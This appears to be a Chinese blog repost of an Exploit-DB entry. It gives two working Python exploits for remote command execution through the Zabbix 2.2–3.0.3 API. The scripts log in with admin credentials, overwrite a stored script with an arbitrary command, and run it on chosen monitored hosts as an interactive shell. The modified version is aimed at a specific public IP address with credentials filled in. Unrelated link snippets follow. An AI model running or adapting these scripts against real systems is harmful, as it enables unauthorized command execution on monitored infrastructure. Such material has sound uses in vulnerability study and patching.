Zabbix 2.2 < 3.0.3 - RCE with API JSON-RPC

漏洞来源: https://www.exploit-db.com/exploits/39937/

攻击成本:

危害程度:低(此洞需要密码)

利用条件: 需要高权限用户登录

影响范围:2.2 < 3.0.3

tips:

  此洞需要你拿到高权限的账户密码,当你拿到账户密码之后,进入后台也可以执行命令,利用API JSON-RPC为第二种方案。

  此exp并不是很完美,因为不会自动获取hostid。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Exploit Title: Zabbix RCE with API JSON-RPC
# Date: 06-06-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage: http://www.zabbix.com
# Software Link: http://www.zabbix.com/download.php
# Version: 2.2 - 3.0.3
# Tested on: Linux (Debian, CentOS)
# CVE : N/A

import requests
import json
import readline

ZABIX_ROOT = ‘http://192.168.66.2‘	### Zabbix IP-address   
url = ZABIX_ROOT + ‘/api_jsonrpc.php‘	### Don‘t edit

login = ‘Admin‘		### Zabbix login     账户
password = ‘zabbix‘	### Zabbix password  密码
hostid = ‘10084‘	### Zabbix hostid    需要指定命令的主机

### auth
payload = {
   	"jsonrpc" : "2.0",
    "method" : "user.login",
    "params": {
    	‘user‘: ""+login+"",
    	‘password‘: ""+password+"",
    },
   	"auth" : None,
    "id" : 0,
}
headers = {
    ‘content-type‘: ‘application/json‘,
}

auth  = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()

while True:
	cmd = raw_input(‘\033[41m[zabbix_cmd]>>: \033[0m ‘)
	if cmd == "" : print "Result of last command:"
	if cmd == "quit" : break

### update
	payload = {
		"jsonrpc": "2.0",
		"method": "script.update",
		"params": {
		    "scriptid": "1",
		    "command": ""+cmd+""
		},
		"auth" : auth[‘result‘],
		"id" : 0,
	}

	cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))

### execute
	payload = {
		"jsonrpc": "2.0",
		"method": "script.execute",
		"params": {
		    "scriptid": "1",
		    "hostid": ""+hostid+""
		},
		"auth" : auth[‘result‘],
		"id" : 0,
	}

	cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
	cmd_exe = cmd_exe.json()
	print cmd_exe["result"]["value"]

 修改版本 自动获取hostid

#!/usr/bin/env python2.7
#coding=utf-8

import json
import requests

url = "http://42.62.97.87/api_jsonrpc.php"
header = {"Content-Type": "application/json"}
username = ‘admin‘
password = ‘[email protected]#‘

#get auth id
payload = {
    "jsonrpc" : "2.0",
    "method" : "user.login",
    "params": {
        ‘user‘: ""+username+"",
        ‘password‘: ""+password+"",
    },
    "auth" : None,
    "id" : 0,
}
headers = {
    ‘content-type‘: ‘application/json‘,
}

auth  = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()

#get hostid
data = {
    "jsonrpc":"2.0",
    "method":"host.get",
    "params":{
        "output":["hostid","name"],
        "filter":{"host":""}
    },
    "auth":""+auth[‘result‘]+"",
    "id":1,
}
hostid = requests.post(url, data=json.dumps(data), headers=(headers))
hostid = hostid.json()

print ‘uid\tname‘
for hid in hostid[‘result‘]:
	print hid[‘hostid‘],hid[‘name‘]

#exec command
hostid = raw_input(‘\033[41m[input_hostid]>>: \033[0m ‘)

while True:
    cmd = raw_input(‘\033[41m[zabbix_cmd]>>: \033[0m ‘)
    if cmd == "" : print "Result of last command:"
    if cmd == "quit" : break
 
### update
    payload = {
        "jsonrpc": "2.0",
        "method": "script.update",
        "params": {
            "scriptid": "1",
            "command": ""+cmd+""
        },
        "auth" : auth[‘result‘],
        "id" : 0,
    }
 
    cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))
 
### execute
    payload = {
        "jsonrpc": "2.0",
        "method": "script.execute",
        "params": {
            "scriptid": "1",
            "hostid": ""+hostid+""
        },
        "auth" : auth[‘result‘],
        "id" : 0,
    }
 
    cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
    cmd_exe = cmd_exe.json()
    print cmd_exe["result"]["value"]

    if cmd == ‘quit‘:
    	break

时间: 2024-10-13 17:47:47

Zabbix 2.2 < 3.0.3 - RCE with API JSON-RPC的相关文章

自动化安装zabbix脚本(3.0/3.2)

自动化安装zabbix脚本(3.0/3.2) 一.zabbix简介 zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案.zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题. 二.zabbix特点 1.企业级的.开源的.分布式 2.灵活的告警机制.存储数据提供杰出的报告及图形 3.通过内置的绘图方法实现监控数据实时绘图 4.允许灵活地自定义问题阀值 5.支持主动与被动方式(agent.sn

vue2.0学习(二)-全局API

vue2.0学习(二)-全局API GitHub源码 https://github.com/sunnyguyan/VueDemo 1.Vue.directive自定义指令 一.什么是全局API? 全局API并不在构造器里,而是先声明全局变量或者直接在Vue上定义一些新功能,Vue内置了一些全局API,比如我们今天要学习的指令Vue.directive.说的简单些就是,在构造器外部用Vue提供给我们的API函数来定义新的功能 二.Vue.directive自定义指令 我们在第一季就学习了内部指令,

vue cli3.0用axios调用本地json数据一直报404

最近在基于vue做后台管理系统时,用了vue cli3.0用axios调用本地json数据一直报404,市面上所有的解决办法都没用,快崩溃了,结果最后发现原因是,vue cli3.0 public 文件夹才是静态资源文件,问题解决,记录一下,以后不再踩坑. 最近发现好多人都踩这个坑,索性把我的结构发出来. 参考地址:https://www.love85g.com/?p=1500 原文地址:https://www.cnblogs.com/dapengFly/p/11359456.html

在Asp.Net Core 3.0中如何使用 Newtonsoft.Json 库序列化数据

在.Net Core 3.0中 内置了一套Json序列化/反序列化方案,默认可以不再依赖,不再支持   Newtonsoft.Json. 但是.NET Core 3.0 System.Text.Json 和 Newtonsoft.Json 使用方法不一致,对于3.0以前版本升级有限制.如果前端代码以固定更没法用了. 在Asp.Net Core 3.0中如何使用  Newtonsoft.Json 库序列化数据 官方给出了兼容处理方案,操作步骤如下: 1.引用Microsoft.AspNetCore

升级Zabbix proxy到3.0.2后无法启动报错

一 问题描述 将一台zabbix proxy由2.4.5升级到3.0.2后启动了就直接崩溃了. 错误信息如下: 2367:20160508:153246.830 One child process died (PID:42385,exitcode/signal:11). Exiting ... 42367:20160508:153248.904 Zabbix Proxy stopped. Zabbix 3.0.2 (revision 59540). 将日志级别调高点,设置DebugLevel=4

从数据库中修改zabbix的验证方式 0 内置 1 LDAP 2 HTTP

1 MariaDB [zabbix]> select authentication_type from config ; 2 +---------------------+ 3 | authentication_type | 4 +---------------------+ 5 | 2 | 6 +---------------------+ 7 1 row in set (0.00 sec) 8 9 MariaDB [zabbix]> update config set authentica

zabbix实战-目录(0)

0.大纲 1.整体架构图 2.后端DB安装和表分区 3.Server端安装

Zabbix Server appliance 4.0.2一键安装(第一篇)

Zabbix 是一款开源免费的监控IT设备状态的软件.它可以实现监控Windows,Linux,Unix,Oracle数据库,以及网络流量,配合企业微信可以实现提前预警,让IT人的工作变的更简单. 接下来我们来安装首先要去ZABBIX官网下载ISO文件 ZABBIX打包好的ISO文件,基于UBUNTU制作,安装好进行简单配置便可以投入使用. 正在安装中 原文地址:http://blog.51cto.com/bosco/2325411

zabbix系列(五)zabbix3.0.4 探索主机Discovery自动发现agent主机和zabbix-agent自动注册详细图文教程

Zabbix 自动发现(Discovery)功能使用 随着监控主机不断增多,有的时候需要添加一批机器,特别是刚用zabbix的运维人员需要将公司的所有服务器添加到zabbix,如果使用传统办法去单个添加设备.分组.项目.图像…..结果应该是让人吐的结果.       鉴于这个问题我们可以好好利用下Zabbix的一个发现(Discovery)模块,进而来实现自动刚发现主机.自动将主机添加到主机组.自动加载模板.自动创建项目(item).自动创建图像,下面我们来看看这个模块如何使用. 一.Zabbi